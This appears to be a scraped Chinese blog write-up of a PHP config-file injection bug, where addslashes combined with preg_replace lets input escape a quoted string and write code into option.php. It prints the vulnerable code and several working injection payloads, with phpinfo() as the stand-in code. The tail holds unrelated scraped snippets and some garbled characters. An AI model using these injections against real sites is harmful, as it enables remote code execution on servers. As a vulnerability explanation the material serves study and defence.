@author: dlive
p牛在小密圈中發的乙個有關使用php正則配合寫配置檔案導致getshell的經典漏洞
漏洞**是這樣的:
<?php
$str = addslashes($_get['option']);
$file = file_get_contents('option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
var_dump($file);
file_put_contents('option.php', $file);
<?php
$option='123';
這是我當時利用的乙個方法(感覺我這個方法繞了好大乙個彎兒qaq)
payload:
第二次傳入的%00
換為$0
可達到相同效果
\\0和$0代表完整的模式匹配文字
%00
被addslashes()
轉為\0
,而\0
在preg_replace
函式的第二個引數中代表「匹配到的全部內容」($0
同理)
此時preg_replace
要執行的**如下
preg_replace('|\$option=\'.*\';|',"\$option='\\0';",$file);
或
preg_replace('|\$option=\'.*\';|',"\$option='$0';",$file);
即執行
preg_replace('|\$option=\'.*\';|',"\$option='$option=';phpinfo();';';",$file);
成功閉合單引號寫入如下shell
<?php
$option='$option=';phpinfo();';';
第一次傳入aaa';phpinfo();%0a//
此時檔案內容
$option='aaa\';phpinfo();
//';
第二次傳入隨意字串,如bbb
, 正則**.*
會將匹配到的aaa\
替換為bbb
(正則匹配的缺陷)
此時檔案內容(成功寫入惡意**)
$option='bbb';phpinfo();
//';
payload:
';phpinfo();//
雖然addslashes將\
轉義為\\
但是經過preg_replace處理後\\
又變為了\
view-source:
string(19) "after addslashes:\\"
string(42) "second param of preg_replace:$option='\\';"
string(37) "after preg_replace:<?php
$option='\';"
最後的單引號被反斜槓轉義 經典正則表達
a za z 由26個字母組成的字串 a za z0 9 由26個字母和數字組成的字串 d 整數形式的字串 0 9 1 9 0 9 正整數形式的字串 u4e00 u9fa5 匹配中文字元 d d d d 國內 號碼,023 12345678 0813 1234567 匹配ip位址表示式 ip位址為4...
關於PHP的漏洞以及如何防止PHP漏洞?
漏洞無非這麼幾類,xss sql注入 命令執行 上傳漏洞 本地包含 遠端包含 許可權繞過 資訊洩露 cookie偽造 csrf 跨站請求 等。這些漏洞不僅僅是針對php語言的,本文只是簡單介紹php如何有效防止這些漏洞。1.xss sql注入 關於xss攻擊詳細介紹 其中佔大頭的自然是xss與sql...
關於PHP的漏洞以及如何防止PHP漏洞?
漏洞無非這麼幾類,xss sql注入 命令執行 上傳漏洞 本地包含 遠端包含 許可權繞過 資訊洩露 cookie偽造 csrf 跨站請求 等。這些漏洞不僅僅是針對php語言的,本文只是簡單介紹php如何有效防止這些漏洞。1.xss sql注入 關於xss攻擊詳細介紹 其中佔大頭的自然是xss與sql...